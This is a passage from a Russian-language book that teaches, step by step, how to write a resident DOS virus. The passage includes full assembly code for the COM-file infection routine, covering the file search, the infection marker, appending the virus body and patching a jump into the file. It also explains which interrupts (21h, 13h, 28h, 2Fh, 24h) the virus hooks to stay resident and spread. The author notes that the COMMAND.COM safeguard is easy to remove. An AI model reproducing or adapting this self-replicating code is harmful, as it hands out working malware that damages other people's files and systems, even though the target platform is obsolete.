ньшать на 110h ( см п. 2.5 ).Далее вирус проверяет
значение переменной "tg_13h" .Дело в том,что рези-
дентный вирус обязательно должен заражать файлы,
находясь в памяти, и поэтому без обращения к диску
в резидентном режиме нам не обойтись.Такое обраще-
ние, естественно, должно происходить только в те
моменты,когда никакие другие программы не работают
с диском .Если это условие не соблюдается, непре-
менно возникнет программный конфликт, что приведет
к неприятным последствиям .Особенно это относится
к тем случаям,когда на машине установлен какой-ни-
будь кэш ( например, SMARTDRIVE или HYPERDISK ) .
В этом случае может случиться так, что вирус и кэш
попробуют обратиться к диску одновременно, а это
недопустимо !
Решить проблему помогает введение переменной "tg_
13h" .Она принимает значение " 1 ", когда к диску
выполняется обращение, или значение " 0 ", если в
данный момент обращения к диску нет.Для инициали-
зации переменной используется специальный "фильтр"
прерывания Int 13h, который будет описан ниже .
Итак, если " tg_13h " равна " 1 ",вирус возвращает
управление прерванной программе,в противном случае
работа вирусного кода продолжается .
2.14 Заражаем COM - файл
В случае, если прерывание Int 13h не выполняется,
можно заняться поиском подходящего COM - файла и
его заражением.Этот процесс практически не отлича-
ется от действий нерезидентного вируса, и поэтому
мы просто используем разработанный ранее блок, не
останавливаясь подробно на его работе :
all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )
mov bp,bx
mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta
find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta
retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta
retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name
xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name
check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1
mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta
save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size
jmp cs:close
found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...
count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close
read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close
cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next
write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close
mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close
write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close
mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл
restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh
Как видите, в созданный ранее фрагмент были внесе-
ны некоторые изменения, в которых мы сейчас и раз-
беремся .
Поскольку вирус будет заражать файлы в резидентном
режиме,он будет пользоваться DTA активной в данный
момент программы,что приведет к ее разрушению.Что-
бы этого не происходило, нужно сохранить ее в об-
ласти данных вируса, а после завершения работы ви-
руса - восстановить.Получить адрес текущей DTA мо-
жно с помощью функции DOS 2Fh, которая и использу-
ется вирусом .
Следующее отличие - наш вирус проверяет,является -
ли найденный файл командным процессором COMMAND.
COM .Для этого используется процедура SEARCH,кото-
рая возвращает INSIDE = 1, если найден командный
процессор, или INSIDE = 0 - в противном случае .
Так как иногда COM-файлы на самом деле имеют EXE -
формат, их размер может превышать 64 Кбайта,и сле-
дует проверить, не является - ли найденный нами
файл именно таким, иначе при заражении он будет
безнадежно испорчен .С этой целью вирус считывает
из DTA слово по смещению 01Ch, и сравнивает его
с нулем .Если это слово равно нулю,размер файла не
превышает 64 Кбайт,и его можно заражать .Кроме то-
го,неплохо было бы проверить формат файла.Для это-
го нужно проверить его первые два байта. Если мы
имеем дело с EXE - файлом, то указанные байты со-
держат ASCII - коды символов " M " и " Z ". Думаю,
читатель сам при желании допишет несколько необхо-
димых для этого команд.
И последнее - мы выяснили,( см. п. 2.5) что первы-
ми двумя байтами,которые должны записываться в ко-
нец файла, должна быть команда перехода на секцию
инициализации вируса .Эту функцию выполняют коман-
ды,записанные за меткой " write_vir " .Сам код ко-
манды перехода хранится в области " end_file " .
*
Не спешите торжествовать по поводу того, что ав-
тор этой книги не смог сделать вирус, заражающий
COMMAND.COM, и поэтому, вероятно, является "чай-
ником". На самом деле вирус отлично работает с
командным процессором и при этом не глюкует. За-
щита введена только для вашего же блага, так как
заражение COMMAND.COM " нестандартным " вирусом
- крайне неприятное событие. Подготовленный чи-
татель без труда снимет такую " защиту ".
2.15 Восстанавливаем регистры
Перед тем, как передать управление прерванной про-
грамме,необходимо восстановить значения регистров,
которые имели место при получении управления рези-
дентной программой :
exit_zarasa: ;Восстановим
;регистры
;процессора ...
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...
iret
Кроме того, вирус восстанавливает стек прерванной
программы, без чего дальнейшая работа невозможна .
2.16 Пишем обработчики прерываний
Для начала выясним, какие прерывания и с какой це-
лью наш вирус будет перехватывать .
Во - первых, необходимо перехватить прерывание Int
21h .Дело в том, что наш вирус является резидент-
ным, и должен заражать файлы при тех или иных со-
бытиях в вычислительной системе.Очень многие виру-
сы активизируются, например,при смене текущего ди-
ска или каталога .Этот метод является весьма удач-
ным, и мы реализуем именно его .Но для этого нужно
знать, когда именно выполняются смена каталога или
диска.Единственный способ узнать о таком событии -
это перехватить прерывание Int 21h на себя, и при
каждом его вызове проверять, какая именно функция
вызывается . Так мы и сделаем .
Во - вторых, нам не обойтись без перехвата Int 13h
( см п. 2.13 ) .
В - третьих,поскольку наш вирус будет пользоваться
функциями DOS,которые работают с диском в резиден-
тном режиме,необходимо знать,когда можно безопасно
обращаться к этим функциям . Для этого следует
перехватить прерывание Int 28h,которое всегда вы-
зывается только при выполнении DOS реентерабельной
секции своего кода .Иными словами, при возникнове-
нии прерывания Int 28h можно смело пользоваться
любыми функциями DOS .
Далее, для проверки наличия вирусного кода в памя-
ти наш вирус будет использовать так называемое
мультиплексное прерывание - Int 2fh, и поэтому мы
должны перехватить и его ( см п. 2.7 ) .
И, наконец, мы должны написать обработчик критиче-
ской ошибки .Она возникает,например,если мы попы-
таемся записать информацию на вынутую из дисковода
дискету . Наш вирус должен перехватить прерывание
по критической ошибке ( Int 24h ) и выполнить его
обработку .
2.17 Обработчик Int 13h
Как мы уже выяснили, этот обработчик должен запи-
сывать в ячейку " tg_13h " значение " 1 ", если в
данный момент выполняется прерывание Int 13h, или
значение " 0 " - в противном случае .
К сожалению,в MS DOS отсутствует какое - либо сре-
дство, позволяющее узнать, когда именно активно
прерывание Int 13h .И поэтому единственный способ
решения этой задачи - установка на Int 13h так на-
зываемого " фильтра ", который отслеживал бы все
вызовы вышеуказанного прерывания .
Самое простое решение - это перехватить Int 13h на
себя,а в самом обработчике вызвать системный обра-
ботчик как дальнюю процедуру .Конечно, перед этим
нужно записать в " tg_13h" единицу - это будет ин-